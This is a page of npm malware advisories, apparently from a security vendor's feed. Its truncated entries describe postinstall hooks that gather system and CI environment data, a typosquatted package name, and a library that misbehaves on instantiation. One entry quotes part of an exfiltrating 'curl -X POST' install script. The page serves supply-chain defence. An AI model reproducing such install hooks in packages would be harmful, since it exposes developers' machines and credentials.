npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 599
Updated 24 Oct 2026, 21:34 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-3418 blocks this version. The package devsite-youtube was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-4548 blocks this version. On `npm install`, the package's postinstall.js runs `whoami` and reads `os.hostname()`, `os.platform()`, the current workin...
OpenSSF/OSV malware advisory MAL-2026-4264 blocks this version. On `npm install`, postinstall.js runs `whoami` via execSync and collects os.hostname(), os.platform(), cwd, and CI/GitHub e...
OpenSSF/OSV malware advisory MAL-2026-4264 blocks this version. On `npm install`, postinstall.js runs `whoami` via execSync and collects os.hostname(), os.platform(), cwd, and CI/GitHub e...
OpenSSF/OSV malware advisory MAL-2026-6460 blocks this version. package.json declares a postinstall lifecycle script that runs automatically on `npm install`: `curl -X POST -d "$(cat /dat...
OpenSSF/OSV malware advisory MAL-2026-6460 blocks this version. package.json declares a postinstall lifecycle script that runs automatically on `npm install`: `curl -X POST -d "$(cat /dat...
OpenSSF/OSV malware advisory MAL-2026-6460 blocks this version. package.json declares a postinstall lifecycle script that runs automatically on `npm install`: `curl -X POST -d "$(cat /dat...
OpenSSF/OSV malware advisory MAL-2026-4266 blocks this version. package.json declares scripts.postinstall=node postinstall.js, which executes unconditionally on `npm install`. The script...
OpenSSF/OSV malware advisory MAL-2026-4266 blocks this version. package.json declares scripts.postinstall=node postinstall.js, which executes unconditionally on `npm install`. The script...
OpenSSF/OSV malware advisory MAL-2026-4266 blocks this version. package.json declares scripts.postinstall=node postinstall.js, which executes unconditionally on `npm install`. The script...
OpenSSF/OSV malware advisory MAL-2026-4266 blocks this version. package.json declares scripts.postinstall=node postinstall.js, which executes unconditionally on `npm install`. The script...
OpenSSF/OSV malware advisory MAL-2026-4177 blocks this version. On `npm install`, the package's postinstall script runs `node -e` to fetch the installer's public IP from api.ipify.org, ex...
OpenSSF/OSV malware advisory MAL-2026-4177 blocks this version. On `npm install`, the package's postinstall script runs `node -e` to fetch the installer's public IP from api.ipify.org, ex...
OpenSSF/OSV malware advisory MAL-2026-4177 blocks this version. On `npm install`, the package's postinstall script runs `node -e` to fetch the installer's public IP from api.ipify.org, ex...
OpenSSF/OSV malware advisory MAL-2026-4177 blocks this version. On `npm install`, the package's postinstall script runs `node -e` to fetch the installer's public IP from api.ipify.org, ex...
OpenSSF/OSV malware advisory MAL-2026-4177 blocks this version. On `npm install`, the package's postinstall script runs `node -e` to fetch the installer's public IP from api.ipify.org, ex...
OpenSSF/OSV malware advisory MAL-2026-5463 blocks this version. The package name `db-dx-connector` inverts the word order of the legitimate `dx-db-connector` package (whose own GitHub URL...
OpenSSF/OSV malware advisory MAL-2026-5463 blocks this version. The package name `db-dx-connector` inverts the word order of the legitimate `dx-db-connector` package (whose own GitHub URL...
OpenSSF/OSV malware advisory MAL-2026-5463 blocks this version. The package name `db-dx-connector` inverts the word order of the legitimate `dx-db-connector` package (whose own GitHub URL...
OpenSSF/OSV malware advisory MAL-2026-5463 blocks this version. The package name `db-dx-connector` inverts the word order of the legitimate `dx-db-connector` package (whose own GitHub URL...
OpenSSF/OSV malware advisory MAL-2026-5464 blocks this version. db-xorma advertises itself as a reactive in-memory database library. When a consumer creates any Model instance (the docume...
OpenSSF/OSV malware advisory MAL-2026-5464 blocks this version. db-xorma advertises itself as a reactive in-memory database library. When a consumer creates any Model instance (the docume...
OpenSSF/OSV malware advisory MAL-2026-5464 blocks this version. db-xorma advertises itself as a reactive in-memory database library. When a consumer creates any Model instance (the docume...
OpenSSF/OSV malware advisory MAL-2026-5464 blocks this version. db-xorma advertises itself as a reactive in-memory database library. When a consumer creates any Model instance (the docume...
OpenSSF/OSV malware advisory MAL-2026-5464 blocks this version. db-xorma advertises itself as a reactive in-memory database library. When a consumer creates any Model instance (the docume...